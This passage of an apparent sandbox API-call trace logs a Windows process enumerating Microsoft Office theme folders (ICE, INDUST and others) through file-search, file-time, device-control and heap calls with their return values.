[0061.088] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0061.090] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.092] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd690500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd690500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x19539, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.ELM", cAlternateFileName="")) returned 1 [0061.092] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.INF", cAlternateFileName="")) returned 1 [0061.094] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.095] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.095] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.184] GetLastError () returned 0x12 [0061.184] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa94d0) returned 1 [0061.184] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0061.189] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa93c8) returned 1 [0061.189] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0061.190] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE", cAlternateFileName="")) returned 1 [0061.190] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.193] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0061.603] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0061.603] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0061.603] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfab388 [0061.603] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfab388, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfab388, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0061.604] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfab388) returned 1 [0061.604] NtClose (Handle=0x190) returned 0x0 [0061.604] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.604] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.604] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0061.604] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0061.604] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0061.604] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.604] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ee600, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35ee600, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x109d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.ELM", cAlternateFileName="")) returned 1 [0061.604] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0061.604] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0061.604] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0061.604] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0061.604] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0061.604] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0061.604] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0061.604] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa7f70 [0061.604] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa93c8 [0061.604] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0061.604] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.INF", cAlternateFileName="")) returned 1 [0061.604] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0061.604] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0061.604] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0061.604] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0061.604] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0061.605] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa7f90 [0061.605] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa94d0 [0061.605] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0061.605] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.605] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0061.605] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0061.605] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0061.605] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0061.605] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0061.605] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa7fb0 [0061.605] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa9e18 [0061.605] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0061.605] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.605] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0061.605] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0061.605] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0061.605] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0061.605] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0061.605] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa7fd0 [0061.605] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa9f20 [0061.605] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0061.605] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.605] GetLastError () returned 0x12 [0061.605] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0061.605] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0061.605] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.606] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ee600, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35ee600, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x109d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.ELM", cAlternateFileName="")) returned 1 [0061.606] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.INF", cAlternateFileName="")) returned 1 [0061.606] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.606] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.606] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.606] GetLastError () returned 0x12 [0061.606] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0061.606] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0061.606] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0061.606] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.606] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST", cAlternateFileName="")) returned 1 [0061.606] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.606] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0061.613] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0061.613] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0061.613] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfab388 [0061.613] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfab388, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfab388, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0061.613] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfab388) returned 1 [0061.613] NtClose (Handle=0x184) returned 0x0 [0061.613] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.613] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.613] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0061.613] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0061.613] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.613] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfaa028 [0061.613] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0061.614] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.614] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4901300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x539538d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4901300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x184e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST.ELM", cAlternateFileName="")) returned 1 [0061.614] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.614] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.614] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.614] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.614] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.614] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfaa130 [0061.614] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0061.614] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa7ff0 [0061.614] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfaa238 [0061.614] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.614] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST.INF", cAlternateFileName="")) returned 1 [0061.614] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.614] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.614] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.614] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.614] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.614] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa8010 [0061.614] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfab3a0 [0061.614] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.614] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x143b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.614] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.614] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.614] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.614] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.615] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.615] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa8030 [0061.615] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfab4a8 [0061.615] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.615] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.615] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.615] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.615] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.615] RtlFreeHeap (HeapHandle=0xf70000, 